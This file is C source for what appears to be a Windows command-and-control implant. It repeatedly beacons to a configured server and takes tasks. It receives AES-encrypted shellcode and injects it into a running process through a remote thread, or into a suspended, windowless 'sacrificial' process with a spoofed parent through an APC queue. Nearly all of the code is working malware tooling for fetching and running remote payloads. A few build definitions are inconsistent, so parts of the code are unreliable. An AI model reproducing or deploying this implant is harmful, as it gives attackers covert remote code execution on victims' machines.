#include "config.h"
#include "transport.c"
#include "aes.c"

#include <stdio.h>
#include <stdbool.h>

size_t STD_BUFF = 1024;
size_t BIG_BUFF = 8192;

char* currentTaskID = NULL;

// For testing builds with make
#if TESTING_BUILD
    char beaconID[] = "TestBeacon";
    char* server_domains[] = {"192.168.1.4","192.168.1.4","192.168.1.4"};
    unsigned short startup_delay = 0;
    int reconnect_delay = 5678;
    // Define port for testing build
    #if USE_SCHANNEL
        unsigned short SERVER_PORT = 8443;
    #elif USE_HTTP
        unsigned short SERVER_PORT = 8880;
    #else
        unsigned short SERVER_PORT = 8888;
    #endif

    #else
    char agentID[] = "PLACEHOLDER_AGENT_ID";
    char* server_domains[] = {"PLACEHOLDER_SERVER_ADDR"};
    unsigned short SERVER_PORT = 54321;
    unsigned short startup_delay = 1298;
#endif

// For startup delay
short first_conn = 1;

// Calculate number of domains for round robin logic
unsigned short domain_count = sizeof(server_domains) / sizeof(server_domains[0]);

unsigned char iv[] = "sWDv47xwoMkg5gJY"; // 16 bytes


void PrintHEX(unsigned char* data, size_t size, int n) {
    printf("\nData in hex (first %d bytes):\n", n);
    for (int i = 0; i < n && i < size; i++) {
        printf("%02x ", data[i]);
        if ((i + 1) % 8 == 0) printf(" ");
        if ((i + 1) % 16 == 0) printf("\n");
    }
    printf("\n");
}

// Report result of task execution to server
void SendTaskResult(Transport* transport, char* task_type, char* result) {
    printf("Trying to send task result\n");

    char* actual_task_type = task_type;
    char default_type[] = "TASKRESULT";

    if (strcmp(task_type, "") == 0) {
        actual_task_type = default_type;
    }

    size_t task_len = strlen(actual_task_type);
    size_t agentID_len = strlen(beaconID);
    size_t result_len = strlen(result);

    size_t taskID_len;
    if (currentTaskID != NULL) {
        taskID_len = strlen(currentTaskID);
    } else {
        currentTaskID = "0";
        taskID_len = 0;
    }

    printf("Result: %s\n", result);

    // +4 for three '~' and null terminator
    size_t buffer_size = agentID_len + task_len + taskID_len + result_len + 4;

    char* message = (char*)malloc(buffer_size);
    if (message == NULL) {
        printf("Memory allocation failed\n");
        return;
    }

    snprintf(message, buffer_size, "%s~%s~%s~%s", beaconID, actual_task_type, currentTaskID, result);

    printf("Sending formatted message (length: %zu)\n", strlen(message));
    printf("Message: %s\n", message);

    if (transport->send(transport->handle, message, strlen(message)) <= 0) {
        printf("Error sending task result.\n");
    }

    // Clean up
    memset(message, 0, buffer_size);
    free(message);

    // Clear taskID
    currentTaskID = NULL;
}

// Inject into running process
void InjectRemote(char* result, char* key, DWORD targetPID, unsigned char* shellcode, SIZE_T payloadSize) {
    HANDLE hProcess = NULL;
    LPVOID remoteMem = NULL;
    HANDLE hThread = NULL;

    // Get a handle to the target process
    hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 
                          PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, 
                          FALSE, targetPID);
    if (!hProcess) {
        sprintf(result, "Error: Could not open target process (%ld)", GetLastError());
        printf("%s\n", result);
        return;
    }
    
    // Allocate memory in the target process for our shellcode
    remoteMem = VirtualAllocEx(hProcess, NULL, payloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    if (!remoteMem) {
        sprintf(result, "Error: Could not allocate memory in target process (%ld)", GetLastError());
        printf("%s\n", result);
        goto cleanup;
    }

    // Decrypt locally using tiny-AES-c
    struct AES_ctx ctx;
    AES_init_ctx_iv(&ctx, key, iv);
    AES_CTR_xcrypt_buffer(&ctx, shellcode, payloadSize);
    memset(key, 0, 16);

    PrintHEX(shellcode, payloadSize, 64);

    // Write the shellcode to the allocated memory
    SIZE_T bytesWritten;
    if (!WriteProcessMemory(hProcess, remoteMem, shellcode, payloadSize, &bytesWritten) ||
        bytesWritten != payloadSize) {
        sprintf(result, "Error: Could not write to target process memory (%ld), bytes written: %zu", 
                GetLastError(), bytesWritten);
        printf("%s\n", result);
        goto cleanup;
    }
    memset(shellcode, 0, payloadSize);

    // Change memory permissions to executable
    DWORD oldProtect;
    if (!VirtualProtectEx(hProcess, remoteMem, payloadSize, PAGE_EXECUTE_READ, &oldProtect)) {
        sprintf(result, "Error: Could not change memory permissions (%ld)", GetLastError());
        printf("%s\n", result);
        goto cleanup;
    }

    // Create a remote thread to execute the shellcode
    hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteMem, NULL, 0, NULL);
    if (!hThread) {
        sprintf(result, "Error: Could not create remote thread (%ld)", GetLastError());
        printf("%s\n", result);
        goto cleanup;
    }

    sprintf(result, "Successfully injected shellcode into process %ld", targetPID);
    printf("%s\n", result);

cleanup:
    if (hThread) CloseHandle(hThread);
    if (hProcess) CloseHandle(hProcess);
}

// Start new process, decrypt shellcode, inject it into process
void SpawnNew(char* result, char* key, char* path, unsigned char* shellcode, int payloadSize, DWORD parentPID) {
    STARTUPINFOEXA stinfoex = { 0 };
    STARTUPINFOA* stinfo = (STARTUPINFOA*)&stinfoex;
    PROCESS_INFORMATION pinfo = { 0 };
    DWORD oldprotect = 0;
    LPVOID allocated_mem = NULL;
    SIZE_T attributeSize = 0;
    HANDLE hParentProcess = NULL;
    DWORD creationFlags = CREATE_SUSPENDED | CREATE_NO_WINDOW;

    // Setup for parent process attribute if needed
    if (parentPID != 0) {
        // Get the size needed for the attribute list
        InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
        stinfoex.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
            GetProcessHeap(), 0, attributeSize);
            
        if (stinfoex.lpAttributeList == NULL) {
            sprintf(result, "Error: Failed to allocate memory for attribute list (%ld)", GetLastError());
            printf("%s\n", result);
            return;
        }
        
        // Initialize the attribute list
        if (!InitializeProcThreadAttributeList(stinfoex.lpAttributeList, 1, 0, &attributeSize)) {
            sprintf(result, "Error: Failed to initialize attribute list (%ld)", GetLastError());
            printf("%s\n", result);
            HeapFree(GetProcessHeap(), 0, stinfoex.lpAttributeList);
            return;
        }
        
        // Open handle to parent process
        hParentProcess = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, parentPID);
        if (hParentProcess == NULL) {
            sprintf(result, "Error: Failed to open parent process (PID: %ld) (%ld)", parentPID, GetLastError());
            printf("%s\n", result);
            DeleteProcThreadAttributeList(stinfoex.lpAttributeList);
            HeapFree(GetProcessHeap(), 0, stinfoex.lpAttributeList);
            return;
        }
        
        // Set the parent process attribute
        if (!UpdateProcThreadAttribute(stinfoex.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, 
                                     &hParentProcess, sizeof(HANDLE), NULL, NULL)) {
            sprintf(result, "Error: Failed to update attribute list (%ld)", GetLastError());
            printf("%s\n", result);
            CloseHandle(hParentProcess);
            DeleteProcThreadAttributeList(stinfoex.lpAttributeList);
            HeapFree(GetProcessHeap(), 0, stinfoex.lpAttributeList);
            return;
        }
        
        // Set the size of the structure for extended startup info
        stinfoex.StartupInfo.cb = sizeof(STARTUPINFOEXA);
        
        // Add EXTENDED_STARTUPINFO_PRESENT flag
        creationFlags |= EXTENDED_STARTUPINFO_PRESENT;
    } else {
        // Standard startup info without parent process specification
        stinfo->cb = sizeof(STARTUPINFOA);
    }

    // Start new process
    BOOL SacrificialProc = CreateProcessA(
        path,                  // Application name
        NULL,                  // Command line
        NULL,                  // Process security attributes
        NULL,                  // Thread security attributes
        FALSE,                 // Inherit handles
        creationFlags,         // Creation flags
        NULL,                  // Environment
        NULL,                  // Current directory
        stinfo,                // Startup info
        &pinfo                 // Process information
    );

    // Clean up parent process resources if we used them
    if (parentPID != 0) {
        if (hParentProcess) CloseHandle(hParentProcess);
        DeleteProcThreadAttributeList(stinfoex.lpAttributeList);
        HeapFree(GetProcessHeap(), 0, stinfoex.lpAttributeList);
    }

    if (SacrificialProc == 0) {
        sprintf(result, "Error: Failed to create a sacrificial process (%ld)", GetLastError());
        printf("%s\n", result);
        return;
    }
    
    if (parentPID != 0) {
        printf("Sacrificial process created with PID: %ld under parent PID: %ld\n", pinfo.dwProcessId, parentPID);
    } else {
        printf("Sacrificial process created with PID: %ld\n", pinfo.dwProcessId);
    }

    // Now allocate memory in the target process
    allocated_mem = VirtualAllocEx(pinfo.hProcess, NULL, payloadSize, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
    if (allocated_mem == NULL) {
        sprintf(result, "Error: Failed to allocate memory in sacrificial process (%ld)", GetLastError());
        printf("%s\n", result);
        goto cleanup;
    }

    // Decrypt locally using tiny-AES-c
    struct AES_ctx ctx;
    AES_init_ctx_iv(&ctx, key, iv);
    AES_CTR_xcrypt_buffer(&ctx, shellcode, payloadSize);
    memset(key, 0, 16);

    PrintHEX(shellcode, payloadSize, 64);

    // Write the already-decrypted shellcode to the process
    if (!WriteProcessMemory(pinfo.hProcess, allocated_mem, shellcode, payloadSize, NULL)) {
        sprintf(result, "Error: Failed to write shellcode into memory (%ld)", GetLastError());
        printf("%s\n", result);
        goto cleanup;
    }
    printf("Shellcode written into memory.\n");
    memset(shellcode, 0, payloadSize);

    // Change memory protection to allow execution
    if (!VirtualProtectEx(pinfo.hProcess, allocated_mem, payloadSize, PAGE_EXECUTE_READ, &oldprotect)) {
        sprintf(result, "Error: Failed to change memory protection (%ld)", GetLastError());
        printf("%s\n", result);
        goto cleanup;
    } 
    printf("Changed memory protection\n");

    // Execute the shellcode
    QueueUserAPC((PAPCFUNC)allocated_mem, pinfo.hThread, 0);
    ResumeThread(pinfo.hThread);
    
    sprintf(result, "Successfully injected shellcode into new process with PID %ld", pinfo.dwProcessId);
    printf("%s\n", result);

cleanup:
    // Clean up process handles if we failed
    if (pinfo.hProcess) {
        TerminateProcess(pinfo.hProcess, 0);
    }
    // Always close handles if they were opened
    if (pinfo.hProcess) CloseHandle(pinfo.hProcess);
    if (pinfo.hThread) CloseHandle(pinfo.hThread);
}

// Receive payload over network
void ReceiveModule(char* result, Transport* transport, char* taskType, char* taskArgs, unsigned char* buffer2) {
    // Example message
    // TASK~555953~inject~aQ9PvvobxH8mr0Mr~8868~276
    // TASK~438818~spawn~nx8Fk8krVYflY7sR~C:\Windows\System32\notepad.exe~4704~276
    int pid, ppid = 0;
    char* key = strtok(taskArgs, "~");
    char* taskArg1 = strtok(NULL, "~");
    char* taskArg2 = strtok(NULL, "~");
    char* taskArg3 = strtok(NULL, "");
    printf("Task type: %s\n", taskType);
    printf("Key: %s\n", key);
    printf("Argument 1: %s\n", taskArg1);
    printf("Argument 2: %s\n", taskArg2);
    printf("Argument 3: %s\n", taskArg3);

    // Parse payload size based on type of command
    int payloadSize;
    if (strcmp(taskType, "inject") == 0) {
        payloadSize = atoi(taskArg2);
        pid = atoi(taskArg1);
        printf("Module size (int): %d bytes\n", payloadSize);
        printf("PID (int): %d\n", pid);
    }
    else if (strcmp(taskType, "spawn") == 0) {
        if (!taskArg3) { // if no ppid sent, "taskArg3" will be null and "taskArg2" holds size
            printf("TaskArg3 is null\n");
            payloadSize = atoi(taskArg2);
        }
        else { // if ppid is sent, then "taskArg3" holds size
            printf("TaskArg3 is not null\n");
            payloadSize = atoi(taskArg3);
            ppid = atoi(taskArg2);
        }
        printf("Module size (int): %d bytes\n", payloadSize);
        printf("PPID (int): %d\n", ppid);
    }

    #if USE_HTTP
        if (strcmp(taskType, "inject") == 0) {
            InjectRemote(result, key, pid, buffer2, payloadSize);
        }
        else if (strcmp(taskType, "spawn") == 0) {
            SpawnNew(result, key, taskArg1, buffer2, payloadSize, ppid);
        }
    #else
        // Prepare buffer for payload
        unsigned char payloadBuffer[payloadSize];
        // Send ACK
        if (transport->send(transport->handle, "ACK", strlen("ACK")) <= 0) {
            printf("Error sending ACK to server\n");
            return;
        }
        printf("Sent ACK to server, ready to receive data\n");
        // Receive data with loop to ensure full buffer
        int bytesReceived = 0;
        int totalReceived = 0;
        while (totalReceived < payloadSize) {
            printf("Receiving module: ");
            bytesReceived = transport->recv(transport->handle, payloadBuffer + totalReceived, payloadSize - totalReceived);
            if (bytesReceived <= 0) {
                printf("\nError receiving module data: %d\n", bytesReceived);
                return;
            }
            totalReceived += bytesReceived;
            printf("%d/%d bytes\n", totalReceived, payloadSize);
            fflush(stdout);
        }
        bytesReceived = totalReceived;
        // Verify received size
        if (bytesReceived != payloadSize) {
            printf("Warning: Expected %d bytes, received %d bytes\n", payloadSize, bytesReceived);
            return;
        }
        printf("Received full module of size: %d bytes\n", bytesReceived);
        
        if (strcmp(taskType, "inject") == 0) {
            InjectRemote(result, key, pid, payloadBuffer, payloadSize);
        }
        else if (strcmp(taskType, "spawn") == 0) {
            SpawnNew(result, key, taskArg1, payloadBuffer, payloadSize, ppid);
        }
    #endif
}

// Change beacons sleep time
void ChangeSleepTime(char* result, size_t result_size, char* sleep_time_str) {
    int new_delay = atoi(sleep_time_str);
    reconnect_delay = new_delay * 1000;
    snprintf(result, result_size, "Sleep time updated to %d seconds\n", new_delay);
}

// Differentiate between tasks
void HandleTask(Transport* transport, char* taskID, char* task_type, char* task_args, unsigned char* buffer2) {
    char result[STD_BUFF];
    currentTaskID = taskID;

    if (strcmp(task_type, "sleep") == 0) {
        printf("Sleep command detected\n");
        ChangeSleepTime(result, sizeof(result), task_args);
        SendTaskResult(transport, "", result);
    }
    else if (strcmp(task_type, "inject") == 0 || strcmp(task_type, "spawn") == 0) {
        printf("Inject or spawn command detected\n");
        ReceiveModule(result, transport, task_type, task_args, buffer2);
        SendTaskResult(transport, "", result);
    }
    else {
        printf("Unknown command: %s\n", task_type);
        SendTaskResult(transport, "", "Unknown command type\n");
    }
    memset(result, 0, STD_BUFF);
}

// Receive response after heartbeat
void ReceiveResponse(Transport* transport) {
    char buffer1[STD_BUFF + 1];
    unsigned char* buffer2 = NULL;
    size_t buffer2_size = 0;

    #if USE_HTTP
        int bytesReceived = transport->recv_alloc(transport->handle, buffer1, &buffer2, sizeof(buffer1) - 1, &buffer2_size);
    #else
        int bytesReceived = transport->recv(transport->handle, buffer1, sizeof(buffer1) - 1);
    #endif

    if (bytesReceived <= 0) {
        printf("Error receiving message from server\n");
        return;
    }
    buffer1[bytesReceived] = '\0';
    printf("Message from server: %s\n", buffer1);

    PrintHEX(buffer2, buffer2_size, 32);

    // Check if there is a task to do
    if (strncmp(buffer1, "TASK", 4) == 0) {
        printf("Received task from server\n");
        char* taskID = strtok(buffer1 + 4, "~");
        char* taskType = strtok(NULL, "~");
        char* taskArgs = strtok(NULL, "");
        printf("Task ID: %s\n", taskID);
        printf("Task type: %s\n", taskType);
        printf("Task args: %s\n", taskArgs);
        if (taskType) {
            HandleTask(transport, taskID, taskType, taskArgs, buffer2);
        } else {
            SendTaskResult(transport, "", "Invalid task format\n");
        }
    } else if (strcmp(buffer1, "ACK") == 0) {
        printf("Message acknowledged by server\n");
    }
}

// Check-in with server
void SendHeartbeat(Transport* transport) {
    char heartbeat_message[32];
    snprintf(heartbeat_message, sizeof(heartbeat_message), "%s~HEARTBEAT", beaconID);

    int sent = transport->send(transport->handle, heartbeat_message, strlen(heartbeat_message));
    if (sent <= 0) {
        printf("Error: Failed to send heartbeat, returned %d\n", sent);
        CleanupTransport(transport);
        return;
    }
    printf("Heartbeat sent successfully, bytes sent: %d\n", sent);
    ReceiveResponse(transport);
}

void TimerCallback(PVOID lpParam, BOOLEAN TimerOrWaitFired) {
    HANDLE hEvent = (HANDLE)lpParam;
    SetEvent(hEvent);
}

// Custom sleep function using Timer Queue
void SleepWithTimerQueue(DWORD milliseconds) {
    HANDLE hTimer = NULL;
    HANDLE hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);

    if (hEvent == NULL) {
        fprintf(stderr, "CreateEvent failed (%lu)\n", GetLastError());
        return;
    }

    if (!CreateTimerQueueTimer(
            &hTimer,
            NULL,                   // default timer queue
            TimerCallback,
            (PVOID)hEvent,
            milliseconds,
            0,
            WT_EXECUTEONLYONCE)) {
        fprintf(stderr, "CreateTimerQueueTimer failed (%lu)\n", GetLastError());
        CloseHandle(hEvent);
        return;
    }

    // Wait for the timer to fire
    WaitForSingleObject(hEvent, INFINITE);

    // Clean up
    DeleteTimerQueueTimer(NULL, hTimer, NULL);
    CloseHandle(hEvent);
}

// Main loop
int main() {
    WSADATA wsaData;
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
        printf("Error: WSAStartup failed, error %d\n", WSAGetLastError());
        return 0;
    }

    printf("Sleeping for 2 seconds...\n");
    SleepWithTimerQueue(5000);
    printf("Awake!\n");

    if (first_conn) {
        printf("Initial startup delay for %d milliseconds...\n", startup_delay);
        Sleep(startup_delay);
    }

    // Main loop for communication with server
    while (1) {
        Transport* transport = InitTransport(GetNextDomain(), SERVER_PORT);
        if (!transport) {
            printf("Connection failed. Retrying in %d seconds...\n", reconnect_delay / 1000);
            Sleep(reconnect_delay);
            continue;
        }
        printf("Connected to server\n");

        printf("Trying to send heartbeat\n");
        SendHeartbeat(transport);
        
        CleanupTransport(transport);

        printf("Disconnecting from server\n\n");

        Sleep(reconnect_delay);
    }
    return 0;
}